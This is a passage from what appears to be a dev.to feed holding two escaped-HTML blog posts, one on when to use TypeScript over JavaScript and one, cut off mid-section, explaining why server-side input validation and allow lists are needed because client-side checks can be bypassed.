&lt;/h2&gt;

&lt;p&gt;JavaScript lets variables change type freely.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5293&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is valid JavaScript.&lt;/p&gt;

&lt;p&gt;Sometimes this flexibility is convenient, but it also makes it easier for unexpected values to move through an application.&lt;/p&gt;

&lt;p&gt;TypeScript lets you define what a value is supposed to be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5293&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now assigning a string to &lt;code&gt;userId&lt;/code&gt; produces an error during development.&lt;/p&gt;

&lt;p&gt;That means certain mistakes are caught before the code ever runs.&lt;/p&gt;

&lt;p&gt;For small experiments, this may not matter much.&lt;/p&gt;

&lt;p&gt;For a larger application with many files and components, it becomes much more valuable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Functions become easier to understand
&lt;/h2&gt;

&lt;p&gt;Consider a JavaScript function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getProjectName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is nothing here telling us what &lt;code&gt;project&lt;/code&gt; is supposed to contain.&lt;/p&gt;

&lt;p&gt;With TypeScript, the expected structure can be defined directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Project&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;language&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;public&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getProjectName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Project&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the function documents itself.&lt;/p&gt;

&lt;p&gt;A developer immediately knows what kind of object should be passed into it and what the function returns.&lt;/p&gt;

&lt;p&gt;This becomes especially useful when returning to a project after several weeks or working across a larger codebase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Interfaces make data structures clearer
&lt;/h2&gt;

&lt;p&gt;TypeScript also makes application data easier to reason about.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;Profile&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;projectCount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;active&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Profile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;projectCount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;active&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If one of those properties is missing or has the wrong type, TypeScript can catch the issue before runtime.&lt;/p&gt;

&lt;p&gt;In plain JavaScript, that mistake may only become visible when the affected code actually executes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Better autocomplete
&lt;/h2&gt;

&lt;p&gt;One of the most noticeable benefits of TypeScript is editor support.&lt;/p&gt;

&lt;p&gt;Suppose a project object looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;Project&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;repository&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;technologies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Project&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Algorithm Visualizer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;repository&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293-algorithm-visualizer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;technologies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;React&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;TypeScript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When typing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;an editor such as VS Code already knows that &lt;code&gt;title&lt;/code&gt;, &lt;code&gt;repository&lt;/code&gt;, and &lt;code&gt;technologies&lt;/code&gt; are available.&lt;/p&gt;

&lt;p&gt;This makes autocomplete more useful and reduces the need to constantly remember object structures.&lt;/p&gt;

&lt;h2&gt;
  
  
  Refactoring feels safer
&lt;/h2&gt;

&lt;p&gt;Imagine renaming a property used throughout a large project.&lt;/p&gt;

&lt;p&gt;In JavaScript, it is possible to miss one reference and only discover the problem later.&lt;/p&gt;

&lt;p&gt;With TypeScript, the compiler can identify places where the old structure is no longer valid.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;Tool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;toolName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Tool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;toolName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;JSON Formatter&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Web Utility&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;toolName&lt;/code&gt; is later renamed to &lt;code&gt;name&lt;/code&gt;, TypeScript helps identify code that still expects &lt;code&gt;toolName&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That makes large refactors much less intimidating.&lt;/p&gt;

&lt;h2&gt;
  
  
  TypeScript is still JavaScript
&lt;/h2&gt;

&lt;p&gt;TypeScript does not replace JavaScript in the browser.&lt;/p&gt;

&lt;p&gt;TypeScript code is compiled into JavaScript before it runs.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello from khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;might ultimately become:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello from khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The type information helps developers while writing the application, but browsers still execute JavaScript.&lt;/p&gt;

&lt;p&gt;That is an important distinction.&lt;/p&gt;

&lt;p&gt;TypeScript adds a development layer on top of JavaScript rather than creating an entirely different runtime.&lt;/p&gt;

&lt;h2&gt;
  
  
  JavaScript still has its place
&lt;/h2&gt;

&lt;p&gt;I would not use TypeScript for everything.&lt;/p&gt;

&lt;p&gt;If I am creating a tiny browser experiment with twenty lines of JavaScript, adding TypeScript may create more setup than value.&lt;/p&gt;

&lt;p&gt;JavaScript is still excellent for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Small scripts&lt;/li&gt;
&lt;li&gt;Quick prototypes&lt;/li&gt;
&lt;li&gt;CodePen experiments&lt;/li&gt;
&lt;li&gt;Learning browser APIs&lt;/li&gt;
&lt;li&gt;Simple utilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;TypeScript becomes more attractive as complexity increases.&lt;/p&gt;

&lt;h2&gt;
  
  
  When I would choose TypeScript
&lt;/h2&gt;

&lt;p&gt;For a larger project, I would usually choose TypeScript when the project has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple components&lt;/li&gt;
&lt;li&gt;Complex data structures&lt;/li&gt;
&lt;li&gt;API responses&lt;/li&gt;
&lt;li&gt;Shared functions&lt;/li&gt;
&lt;li&gt;Several source files&lt;/li&gt;
&lt;li&gt;Long term maintenance&lt;/li&gt;
&lt;li&gt;React or another component based framework&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The larger the project becomes, the more valuable explicit types tend to become.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thought
&lt;/h2&gt;

&lt;p&gt;JavaScript gives developers freedom.&lt;/p&gt;

&lt;p&gt;TypeScript adds structure to that freedom.&lt;/p&gt;

&lt;p&gt;For small experiments, plain JavaScript can be faster and simpler.&lt;/p&gt;

&lt;p&gt;For larger applications, I prefer having the compiler catch mistakes before users do.&lt;/p&gt;

&lt;p&gt;That is why I tend to use TypeScript for larger projects while keeping plain JavaScript for smaller browser utilities.&lt;/p&gt;

&lt;p&gt;Both have a place.&lt;/p&gt;

&lt;p&gt;The important part is choosing the level of structure that matches the project.&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>javascript</category>
      <category>programming</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Client Side Validation Is Not a Security Boundary</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Mon, 07 Sep 2026 00:15:28 +0000</pubDate>
      <link>https://dev.to/khg5293/client-side-validation-is-not-a-security-boundary-4fhl</link>
      <guid>https://dev.to/khg5293/client-side-validation-is-not-a-security-boundary-4fhl</guid>
      <description>&lt;p&gt;Client side validation is useful, but it should never be treated as a security control.&lt;/p&gt;

&lt;p&gt;A browser can require an email address, limit the length of a username, or prevent certain characters from being entered. That improves the user experience, but anything running in the browser can ultimately be bypassed.&lt;/p&gt;

&lt;p&gt;A user can modify HTML, disable JavaScript, change requests in developer tools, or send requests directly using tools such as curl, Postman, or Burp Suite.&lt;/p&gt;

&lt;p&gt;That means the server must validate every important value again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Never trust the client
&lt;/h2&gt;

&lt;p&gt;The server should treat incoming data as untrusted regardless of what the browser already checked.&lt;/p&gt;

&lt;p&gt;That includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Form fields&lt;/li&gt;
&lt;li&gt;URL parameters&lt;/li&gt;
&lt;li&gt;JSON request bodies&lt;/li&gt;
&lt;li&gt;HTTP headers&lt;/li&gt;
&lt;li&gt;Cookies&lt;/li&gt;
&lt;li&gt;File uploads&lt;/li&gt;
&lt;li&gt;API requests&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Imagine a browser form that asks for a username and limits it to 20 characters.&lt;/p&gt;

&lt;p&gt;A normal request might contain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username=khg5293
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But an attacker does not have to use the browser form at all.&lt;/p&gt;

&lt;p&gt;They could send something completely different directly to the server.&lt;/p&gt;

&lt;p&gt;That is why the server has to enforce its own rules.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isInteger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid user ID&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important part is that this validation happens after the request reaches the server.&lt;/p&gt;

&lt;p&gt;The browser may already have checked the value, but the server should never assume that check actually happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Client side validation still matters
&lt;/h2&gt;

&lt;p&gt;Client side validation is not useless.&lt;/p&gt;

&lt;p&gt;It improves the user experience by giving immediate feedback.&lt;/p&gt;

&lt;p&gt;For example, a registration form might check that the username is not empty before submitting it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;username&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Please enter a username&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is convenient for the user.&lt;/p&gt;

&lt;p&gt;But it does not protect the server.&lt;/p&gt;

&lt;p&gt;Someone can bypass that JavaScript and send a request manually.&lt;/p&gt;

&lt;p&gt;The server still needs to perform its own validation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validation versus sanitization
&lt;/h2&gt;

&lt;p&gt;Validation asks whether data is acceptable.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is this value an integer?&lt;/li&gt;
&lt;li&gt;Is the string within the expected length?&lt;/li&gt;
&lt;li&gt;Does the value belong to an allowed set?&lt;/li&gt;
&lt;li&gt;Does the input follow the expected format?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sanitization modifies or removes content in an attempt to make the value safer.&lt;/p&gt;

&lt;p&gt;For example, suppose an application only allows a small set of project types.&lt;/p&gt;

&lt;p&gt;A server side validation check might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowedProjects&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;web-utility&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;visualizer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;security-tool&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projectType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projectType&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;allowedProjects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projectType&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid project type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is easier to reason about than trying to identify every possible unexpected input.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prefer allow lists
&lt;/h2&gt;

&lt;p&gt;Allow lists are especially useful when an application expects a limited number of known values.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowedStatuses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;active&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;inactive&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;pending&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;allowedStatuses&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid status&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This defines exactly what the application accepts.&lt;/p&gt;

&lt;p&gt;Anything outside that set is rejected.&lt;/p&gt;

&lt;p&gt;That is often safer and simpler than trying to maintain a long list of suspicious values.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validate data types too
&lt;/h2&gt;

&lt;p&gt;Input validation is not only about strings.&lt;/p&gt;

&lt;p&gt;Applications should also check that values have the expected type and range.&lt;/p&gt;

&lt;p&gt;Imagine an API endpoint that accepts the number of projects to display:&lt;br&gt;
&lt;/p&gt;

